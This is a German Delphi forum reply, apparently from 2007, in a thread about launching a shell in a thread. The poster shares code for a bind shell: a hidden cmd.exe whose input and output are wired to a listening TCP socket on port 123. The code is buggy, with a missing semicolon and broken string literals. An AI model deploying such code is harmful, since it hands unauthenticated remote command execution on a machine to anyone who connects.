Einzelnen Beitrag anzeigen

Benutzerbild von TheGame1492
TheGame1492

Registriert seit: 31. Jul 2004
Ort: Berlin
84 Beiträge
 
Delphi XE2 Professional
 
#7

Re: shell in einem thread starten, schlägt fehl

  Alt 29. Nov 2007, 23:07
joa da hatte noch bissl was gefehlt

Delphi-Quellcode:

var
 WSAData: TWSAData;
 FDSet: TFDSet;
 SockAddrIn: TSockAddrIn;
 serverSocket: TSocket;
 Connected: PInteger;
 ThreadID: Cardinal;
 cmdLine: Array [0..MAX_PATH] of Char;
 shellPort: integer;
 shellThreadID: DWORD;
 str: string;
 close: boolean;
 hSocket: pinteger;


function ShellThread(parameter: pointer): integer;
var

   si: TStartupInfo;
   pi: TProcessInformation;
begin
   hSocket := parameter;
   ZeroMemory(@si, SizeOf(si));
   si.cb := SizeOf(si);
   si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
   si.wShowWindow := SW_HIDE;
   si.hStdInput := hSocket^;
   si.hStdOutput := hSocket^;
   si.hStdError := hSocket^;
   CreateProcess(nil, cmdLine, nil, nil, true, CREATE_NEW_CONSOLE, nil, nil, si, pi);
   WaitForSingleObject(pi.hProcess, INFINITE);
   CloseHandle(pi.hProcess);
   CloseHandle(pi.hThread);
   Shutdown(hSocket^, SD_BOTH);
   CloseSocket(hSocket^);
   Dispose(hSocket);
   Result := 0;
end;


function CreateShell( parameter: pointer): integer; StdCall;
begin
  WSAStartUp(MakeWord(1, 1), WSAData);
  ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_addr.s_addr := INADDR_ANY;

  SockAddrIn.sin_port := htons(shellport);
  Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn));
  Listen(ServerSocket, 1);
  GetEnvironmentVariable('Comspec', cmdLine, MAX_PATH);
  while True do
   begin
     FD_Zero(FDSet);
     FD_Set(ServerSocket, FDSet);
     Select(0, @FDSet, nil, nil, nil);
     if FD_IsSet(ServerSocket, FDSet) then
     begin
       New(Connected);
       Connected^ := Accept(ServerSocket, nil, nil);
       if Connected^ <> SOCKET_ERROR then
         BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
       else
         Break;
      end;
    end;
  WSACleanup;
end;

begin
  shellThreadID := 1234
  shellPort := 123;

  CreateThread(nil, 0, @CreateShell, nil, 0, shellThreadID);

  close := false;
  while close = false do
  begin
    ReadLn(str);
    if str = 'quitthen
      close := true
    else if str ='killshellthen
    begin
      TerminateThread(ThreadID, 0);
      TerminateThread(shellThreadID, 0);
      TerminateProcess(ThreadID, 0);
      TerminateProcess(shellThreadID, 0);
      Shutdown(hSocket^, SD_BOTH);
      CloseSocket(hSocket^);
      Dispose(hSocket);
    end;
  end;

die killshell methode is nen bissl unkonventionell glaub ich, weil das ganze prog dadurch mit gekillt wird
  Mit Zitat antworten Zitat